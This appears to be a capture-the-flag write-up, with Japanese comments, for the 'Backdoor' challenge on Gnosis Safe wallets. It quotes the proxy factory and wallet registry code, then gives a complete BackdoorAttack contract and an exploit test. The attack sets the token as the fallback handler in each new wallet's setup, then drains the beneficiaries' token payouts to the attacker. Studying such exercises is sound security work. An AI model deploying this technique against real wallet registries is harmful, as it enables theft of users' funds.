moon

function deployProxy(
    address _singleton,
    bytes memory initializer,
    bytes32 salt
) internal returns (GnosisSafeProxy proxy) {
    require(isContract(_singleton), "Singleton contract not deployed");

    bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
    // solhint-disable-next-line no-inline-assembly
    assembly {
        proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
    }
    require(address(proxy) != address(0), "Create2 call failed");

    if (initializer.length > 0) {
        // solhint-disable-next-line no-inline-assembly
        assembly {
            if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
                revert(0, 0)
            }
        }
    }
}

// nonce を使用してプロキシコントラクトを作成
function createProxyWithNonce(
    address _singleton,
    bytes memory initializer,
    uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
    // 初期化子が変更される場合、プロキシアドレスも変更されるべきです。初期化子データをハッシュ化する方が単に連結するよりも安価です。
    bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
    proxy = deployProxy(_singleton, initializer, salt);
    emit ProxyCreation(proxy, _singleton);
}

// プロキシコントラクトを作成し、コールバックコントラクトの proxyCreated メソッドを呼び出す
function createProxyWithCallback(
    address _singleton,
    bytes memory initializer,
    uint256 saltNonce,
    IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
    uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
    proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
    if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}

if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);

function proxyCreated(
    GnosisSafeProxy proxy, // プロキシコントラクト
    address singleton, // ロジックコントラクトアドレス
    bytes calldata initializer, // 初期化データ
    uint256
) external override {
    // コントラクトに 10 個の DVT があることを確認
    require(token.balanceOf(address(this)) >= TOKEN_PAYMENT, "Not enough funds to pay");
    // ウォレットアドレスを取得
    address payable walletAddress = payable(proxy);

    // 呼び出し元が GnosisSafeProxyFactory であることを確認
    require(msg.sender == walletFactory, "Caller must be factory");
    require(singleton == masterCopy, "Fake mastercopy used");

    // 初期化子の最初の 4 バイトが GnosisSafe.setup 関数のセレクタであることを確認
    require(bytes4(initializer[:4]) == GnosisSafe.setup.selector, "Wrong initialization");

    require(GnosisSafe(walletAddress).getThreshold() == MAX_THRESHOLD, "Invalid threshold");
    require(GnosisSafe(walletAddress).getOwners().length == MAX_OWNERS, "Invalid number of owners");       

    // ウォレットの所有者を取得
    address walletOwner = GnosisSafe(walletAddress).getOwners()[0];
    // 所有者が受益者であることを確認（受益者のみがウォレットの所有者になれる）
    require(beneficiaries[walletOwner], "Owner is not registered as beneficiary");

    // 所有者を受益者から削除
    _removeBeneficiary(walletOwner);

    // 所有者が持つウォレットアドレスを記録
    wallets[walletOwner] = walletAddress;

    // 10DVT をマルチシグウォレットに転送
    token.transfer(walletAddress, TOKEN_PAYMENT);        
}

function setup(
    address[] calldata _owners,
    uint256 _threshold,
    address to,
    bytes calldata data,
    address fallbackHandler,
    address paymentToken,
    uint256 payment,
    address payable paymentReceiver
) external {
    // setupOwners は、しきい値がすでに設定されているかどうかを確認し、このメソッドが 2 回呼び出されるのを防ぎます
    setupOwners(_owners, _threshold);
    if (fallbackHandler != address(0)) internalSetFallbackHandler(fallbackHandler);
    // setupOwners はコントラクトが初期化されていない場合にのみ呼び出されるため、setupModules のチェックは必要ありません
    setupModules(to, data);

    if (payment > 0) {
        // EIP-170 の問題を回避するために handlePayment 関数を再利用します（検証されたコードの調整を避けるために、メソッド自体は調整しません）
        // baseGas = 0, gasPrice = 1, gas = payment => amount = (payment + 0) * 1 = payment
        handlePayment(payment, 0, 1, paymentToken, paymentReceiver);
    }
    emit SafeSetup(msg.sender, _owners, _threshold, to, fallbackHandler);
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@gnosis.pm/safe-contracts/contracts/proxies/GnosisSafeProxyFactory.sol";

import "../backdoor/WalletRegistry.sol";

interface IGnosisSafe {
  function setup(
    address[] calldata _owners,
    uint256 _threshold,
    address to,
    bytes calldata data,
    address fallbackHandler,
    address paymentToken,
    uint256 payment,
    address payable paymentReceiver
  ) external;
}

contract BackdoorAttack {
  constructor (
    address registry,
    address masterCopy,
    GnosisSafeProxyFactory walletFactory,
    IERC20 token,
    address[] memory beneficiaries
  ) {
    // 受益者をループして、ウォレットを作成
    for (uint i = 0; i < beneficiaries.length; i++) {
      address beneficiary = beneficiaries[i];
      address[] memory owners = new address[](1);
      owners[0] = beneficiary;

      bytes memory initializer = abi.encodeWithSelector(
          IGnosisSafe.setup.selector, // setup メソッドのセレクタ
          // 以下は setup メソッドのパラメータ
          owners, // _owners
          1, // _threshold
          address(0), // to
          hex"00", // data
          address(token), // fallbackHandler
          address(0), // paymentToken
          0, // payment
          address(0x0) // paymentReceiver
      );
      
      // ウォレットを作成
      GnosisSafeProxy proxy = walletFactory.createProxyWithCallback(
        masterCopy, // ロジックコントラクトアドレス
        initializer, // setup calldata
        0, // saltNonce
        WalletRegistry(registry) // コールバック
      );
      address wallet = address(proxy);
      
      // ウォレット（プロキシコントラクト）の transfer メソッドを呼び出す。これはロジックコントラクトの transfer メソッドを呼び出すことに相当します。つまり、fallbackHandler.transfer を呼び出すことになります。
      IERC20(wallet).transfer(msg.sender, token.balanceOf(wallet));
    }
  }
}

it('Exploit', async function () {
  await ethers.getContractFactory('BackdoorAttack', attacker).then(contract => contract.deploy(
    this.walletRegistry.address,
    this.masterCopy.address,
    this.walletFactory.address,
    this.token.address,
    users
  ))
})